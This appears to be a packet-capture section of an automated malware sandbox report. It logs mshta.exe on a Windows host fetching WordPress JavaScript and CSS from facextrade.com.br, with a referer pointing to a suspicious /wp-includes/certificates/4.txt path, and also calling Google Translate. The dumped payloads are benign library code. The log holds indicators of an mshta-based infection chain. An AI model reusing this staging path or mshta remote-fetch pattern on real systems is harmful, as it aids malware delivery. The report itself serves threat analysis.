Aug 16, 2022 11:05:52.662018061 CEST	1565	IN	Data Raw: 32 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 7d 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2e 61 63 74 69 76 65 20 73 70 61 6e 2c 0a 2e 6f 77 Data Ascii: 20px;background: #869791;}.owl-theme .owl-controls .owl-page.active span,.owl-theme .owl-controls.clickable .owl-page:hover span{filter: Alpha(Opacity=100);/IE7 fix/opacity: 1;}/* If PaginationNumbers is true */.owl-theme .owl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49768	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:52.770392895 CEST	1566	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:53.000940084 CEST	1568	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:12 GMT Server: Apache ETag: "a55f41-2ea7-5c001a3bd78ff" Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT Content-Length: 11943 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23825369 22428966 Age: 100 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 3a 64 3b 69 66 28 64 3c 36 35 35 33 36 29 72 65 74 75 72 6e 20 61 28 64 29 3b 72 65 74 75 72 6e 20 61 28 35 35 32 39 36 2b 28 28 64 2d 3d 36 35 35 33 36 29 3e 3e 31 30 29 2c 35 36 33 32 30 2b 28 31 30 32 33 26 64 29 29 7d 2c 74 6f 43 6f 64 65 50 6f 69 6e 74 3a 69 7d 2c 6f 6e 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 67 28 74 68 69 73 2e 61 6c 74 2c 21 31 29 2c 74 68 69 73 29 7d 2c 70 61 72 73 65 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 75 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 75 7c 7c 28 75 3d 7b 63 61 6c 6c 62 61 63 6b 3a 75 7d 29 3b 72 65 74 75 72 6e 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 72 65 74 75 72 6e 20 6f 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 75 2c 66 2c 65 3d 64 2c 63 3d 78 28 64 29 2c 61 3d 74 2e 63 61 6c 6c 62 61 63 6b 28 63 2c 74 29 3b 69 66 28 61 29 7b 66 6f 72 28 66 20 69 6e 20 65 3d 22 3c 69 6d 67 20 22 2e 63 6f 6e 63 61 74 28 27 63 6c 61 73 73 3d 22 27 2c 74 2e 63 6c 61 73 73 4e 61 6d 65 2c 27 22 20 27 2c 27 64 72 61 67 67 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 27 2c 27 61 6c 74 3d 22 27 2c 64 2c 27 22 27 2c 27 20 73 72 63 3d 22 27 2c 61 2c 27 22 27 29 2c 75 3d 74 2e 61 74 74 72 69 62 75 74 65 73 28 64 2c 63 29 29 75 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 66 29 26 26 30 21 3d 3d 66 2e 69 6e 64 65 78 4f 66 28 22 6f 6e 22 29 26 26 2d 31 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 20 22 2b 66 2b 22 3d 22 29 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 22 20 22 2c 66 2c 27 3d 22 27 2c 75 5b 66 5d 2e 72 65 70 6c 61 63 65 28 6e 2c 72 29 2c 27 22 27 29 29 3b 65 3d 65 2e 63 6f 6e 63 61 74 28 22 2f 3e 22 29 7d 72 65 74 75 72 6e 20 65 7d 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 76 61 72 20 66 2c 65 2c 63 2c 61 2c 74 2c 6e 2c 72 2c 62 2c 6f 2c 69 2c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 20 64 28 75 2c 66 29 7b 76 61 72 20 65 2c 63 2c 61 3d 75 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 74 3d 61 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 3b 74 2d Data Ascii: // Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t-
Aug 16, 2022 11:05:53.001027107 CEST	1570	IN	Data Raw: 2d 3b 29 65 3d 61 5b 74 5d 2c 33 3d 3d 3d 28 63 3d 65 2e 6e 6f 64 65 54 79 70 65 29 3f 66 2e 70 75 73 68 28 65 29 3a 31 21 3d 3d 63 7c 7c 22 6f 77 6e 65 72 53 56 47 45 6c 65 6d 65 6e 74 22 69 6e 20 65 7c 7c 68 2e 74 65 73 74 28 65 2e 6e 6f 64 65 Data Ascii: -;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c\|\|"ownerSVGElement"in e\|\|h.test(e.nodeName.toLowerCase())\|\|d(e,f);return f}(d,[]),p=l.length;for(;p--;){for(c=!1,a=document.createDocumentFragment(),t=l[p],n=t.nodeValue,r=0;i=m.exec(n);){if((s=i.ind
Aug 16, 2022 11:05:53.001085997 CEST	1571	IN	Data Raw: 5c 75 64 64 62 33 5d 29 7c 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 63 62 5c 75 64 66 63 63 5d 7c 5c 75 64 38 33 64 5b 5c 75 64 64 37 34 5c 75 64 64 37 35 5d 7c 5c 75 32 36 66 39 29 28 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 Data Ascii: \uddb3])\|(?:\ud83c[\udfcb\udfcc]\|\ud83d[\udd74\udd75]\|\u26f9)((?:\ud83c[\udffb-\udfff]\|\ufe0f)\u200d[\u2640\u2642]\ufe0f)\|(?:\ud83c[\udfc3\udfc4\udfca]\|\ud83d[\udc6e\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea
Aug 16, 2022 11:05:53.001168013 CEST	1573	IN	Data Raw: 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 37 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 Data Ascii: c69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]\|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]\|\ud83c\udff3\ufe0f\u200d\ud83c\udf08\|\ud83c\udff4\u200d\u2620\ufe0f\|\ud83d\udc41\u200d\ud83d\udde8\|\ud83d\udc68\u200d\ud83d[\udc66\udc67]\|
Aug 16, 2022 11:05:53.001230001 CEST	1574	IN	Data Raw: 5c 75 32 36 37 66 5c 75 32 36 39 32 2d 5c 75 32 36 39 37 5c 75 32 36 39 39 5c 75 32 36 39 62 5c 75 32 36 39 63 5c 75 32 36 61 30 5c 75 32 36 61 31 5c 75 32 36 61 61 5c 75 32 36 61 62 5c 75 32 36 62 30 5c 75 32 36 62 31 5c 75 32 36 62 64 5c 75 32 Data Ascii: \u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\
Aug 16, 2022 11:05:53.001287937 CEST	1575	IN	Data Raw: 5c 75 64 64 66 30 2d 5c 75 64 64 66 35 5c 75 64 64 66 37 5c 75 64 64 66 61 2d 5c 75 64 64 66 66 5d 7c 5c 75 64 38 33 63 5c 75 64 64 65 39 5c 75 64 38 33 63 5b 5c 75 64 64 65 61 5c 75 64 64 65 63 5c 75 64 64 65 66 5c 75 64 64 66 30 5c 75 64 64 66 Data Ascii: \uddf0-\uddf5\uddf7\uddfa-\uddff]\|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]\|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]\|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]\|\ud83c\uddec\ud83c[\udde6\udde
Aug 16, 2022 11:05:53.001353025 CEST	1577	IN	Data Raw: 64 64 65 36 5c 75 64 64 66 32 5c 75 64 64 66 63 5d 7c 5c 75 64 38 33 63 5b 5c 75 64 63 63 66 5c 75 64 64 38 65 5c 75 64 64 39 31 2d 5c 75 64 64 39 61 5c 75 64 64 65 36 2d 5c 75 64 64 66 66 5c 75 64 65 30 31 5c 75 64 65 33 32 2d 5c 75 64 65 33 36 Data Ascii: dde6\uddf2\uddfc]\|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\u
Aug 16, 2022 11:05:53.001410961 CEST	1578	IN	Data Raw: 66 2e 70 75 73 68 28 28 36 35 35 33 36 2b 28 63 2d 35 35 32 39 36 3c 3c 31 30 29 2b 28 65 2d 35 36 33 32 30 29 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2c 63 3d 30 29 3a 35 35 32 39 36 3c 3d 65 26 26 65 3c 3d 35 36 33 31 39 3f 63 3d 65 3a 66 Data Ascii: f.push((65536+(c-55296<<10)+(e-56320)).toString(16)),c=0):55296<=e&&e<=56319?c=e:f.push(e.toString(16));return f.join(u\|\|"-")}}();// Source: wp-includes/js/wp-emoji.min.js!function(c,l){c.wp=c.wp\|\|{},c.wp.emoji=new function(){var n,u,e=c.Mut
Aug 16, 2022 11:05:53.001486063 CEST	1580	IN	Data Raw: 7c 7c 2f 5b 5c 75 32 30 33 43 5c 75 32 30 34 39 5c 75 32 30 45 33 5c 75 32 31 32 32 5c 75 32 31 33 39 5c 75 32 31 39 34 2d 5c 75 32 31 39 39 5c 75 32 31 41 39 5c 75 32 31 41 41 5c 75 32 33 30 30 5c 75 32 33 31 41 5c 75 32 33 31 42 5c 75 32 33 32 Data Ascii: \|\|/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A
Aug 16, 2022 11:05:53.001535892 CEST	1580	IN	Data Raw: 4e 6f 64 65 26 26 28 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 72 72 6f 72 22 2c 22 6c 6f 61 64 2d 66 61 69 6c 65 64 22 29 2c 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 61 2e 63 Data Ascii: Node&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{
Aug 16, 2022 11:05:53.004712105 CEST	1581	OUT	GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:53.246345043 CEST	1582	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:53 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:35:52 GMT ETag: "a4f99b-7abe-58592ebd6de00" Accept-Ranges: bytes Content-Length: 31422 Connection: close Content-Type: text/css
Aug 16, 2022 11:05:53.246402979 CEST	1584	IN	Data Raw: 2f 2a 20 23 53 68 6f 72 74 63 6f 64 65 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 2f 2a 20 52 65 63 65 6e 74 20 50 6f 73 Data Ascii: /* #Shortcodes================================================== // Recent Posts Shortcodes---------------------------------------- */.recent-posts { overflow: hidden; margin: 0 0 0 -20px !important; padding: 0; border: none; l

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49769	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:52.909025908 CEST	1567	OUT	GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:53.156677008 CEST	1582	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:53 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT ETag: "a50de6-2b5-5c93d38685a84" Accept-Ranges: bytes Content-Length: 693 Connection: close Content-Type: text/css Data Raw: 61 2e 67 66 6c 61 67 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 3a 31 70 78 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 2e 70 6e 67 29 3b 7d 0a 61 2e 67 66 6c 61 67 20 69 6d 67 20 7b 62 6f 72 64 65 72 3a 30 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 7d 0a 61 2e 67 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 61 2e 70 6e 67 29 3b 7d 0a 69 6d 67 2e 67 73 74 61 74 73 20 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 2e 70 6e 67 29 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 61 2e 70 6e 67 29 3b 7d 0a 61 2e 75 73 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 62 72 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 6d 78 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 0a 61 2e 67 6c 69 6e 6b 20 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 73 70 61 6e 20 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 69 6d 67 20 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6f 70 61 63 69 74 79 3a 30 2e 38 3b 7d 0a 61 2e 67 6c 69 6e 6b 3a 68 6f 76 65 72 20 69 6d 67 20 7b 6f 70 61 63 69 74 79 3a 31 3b 7d Data Ascii: a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}a.gflag img {border:0;height:24px;display:inline;}a.gflag:hover {background-image:url(24a.png);}img.gstats {display:none;}a.alt_flag {background-image:url(alt_flags.png);}a.alt_flag:hover {background-image:url(alt_flagsa.png);}a.us_flag {background-position:-0px -100px;}a.br_flag {background-position:-100px -100px;}a.mx_flag {background-position:-200px -100px;}a.glink {text-decoration:none;}a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}a.glink:hover img {opacity:1;}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49765	142.250.181.238	443	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-16 09:05:51 UTC	0	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Connection: Keep-Alive Host: translate.google.com Cookie: CONSENT=YES+GB.en-GB+V9+BX
2022-08-16 09:05:51 UTC	0	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 16 Aug 2022 09:05:51 GMT Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-08-16 09:05:51 UTC	1	IN	Data Raw: 38 30 30 30 0d 0a 0a 20 20 20 20 2f 2f 20 67 6f 2f 6d 73 73 2d 73 65 74 75 70 23 37 2d 6c 6f 61 64 2d 74 68 65 2d 6a 73 2d 6f 72 2d 63 73 73 2d 66 72 6f 6d 2d 79 6f 75 72 2d 69 6e 69 74 69 61 6c 2d 70 61 67 65 0a 20 20 20 20 69 66 28 21 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 65 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 3d 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 3b 0a 20 20 Data Ascii: 8000 // go/mss-setup#7-load-the-js-or-css-from-your-initial-page if(!window['_DumpException']) { const _DumpException = window['_DumpException'] \|\| function(e) { throw e; }; window['_DumpException'] = _DumpException;
2022-08-16 09:05:51 UTC	1	IN	Data Raw: 6e 28 29 7b 74 68 72 6f 77 20 61 3b 7d 2c 30 29 7d 3b 5f 2e 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 50 26 26 61 2e 50 28 29 7d 3b 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 30 2c 63 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 62 3c 63 3b 2b 2b 62 29 7b 76 61 72 20 64 3d 61 72 67 75 6d 65 6e 74 73 5b 62 5d 3b 5f 2e 65 61 28 64 29 3f 66 61 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 64 29 3a 5f 2e 64 61 28 64 29 7d 7d 3b 6b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 5f 2e 68 61 26 26 5f 2e 69 61 26 26 5f 2e 6a 61 28 29 3b 72 65 74 75 72 6e 20 5f 2e 68 61 7d 3b 0a 5f 2e 6a 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 68 61 3d 28 30 2c 5f 2e 69 61 29 Data Ascii: n(){throw a;},0)};_.da=function(a){a&&"function"==typeof a.P&&a.P()};fa=function(a){for(var b=0,c=arguments.length;b<c;++b){var d=arguments[b];_.ea(d)?fa.apply(null,d):_.da(d)}};ka=function(){!_.ha&&_.ia&&_.ja();return _.ha};_.ja=function(){_.ha=(0,_.ia)
2022-08-16 09:05:51 UTC	2	IN	Data Raw: 2e 75 28 22 69 50 68 6f 6e 65 22 29 26 26 21 5f 2e 75 28 22 69 50 6f 64 22 29 26 26 21 5f 2e 75 28 22 69 50 61 64 22 29 7d 3b 5f 2e 47 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 46 61 28 29 7c 7c 5f 2e 75 28 22 69 50 61 64 22 29 7c 7c 5f 2e 75 28 22 69 50 6f 64 22 29 7d 3b 48 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 61 5b 63 5d 2c 63 2c 61 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 3b 5f 2e 49 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 30 2c 64 3b 66 6f 72 28 64 20 69 6e 20 61 29 62 5b 63 2b 2b 5d 3d 61 5b 64 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 4b 61 3d 66 75 6e 63 74 69 6f 6e 28 61 Data Ascii: .u("iPhone")&&!_.u("iPod")&&!_.u("iPad")};_.Ga=function(){return _.Fa()\|\|_.u("iPad")\|\|_.u("iPod")};Ha=function(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1};_.Ia=function(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b};Ka=function(a
2022-08-16 09:05:51 UTC	4	IN	Data Raw: 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 53 61 3d 52 61 28 74 68 69 73 29 3b 0a 54 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 53 61 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 6e 75 6c 6c 21 3d 62 26 26 51 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c Data Ascii: .Math==Math)return c}throw Error("a");};Sa=Ra(this);Ta=function(a,b){if(b)a:{var c=Sa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&Qa(c,a,{configurable:!0,writable:!0,val
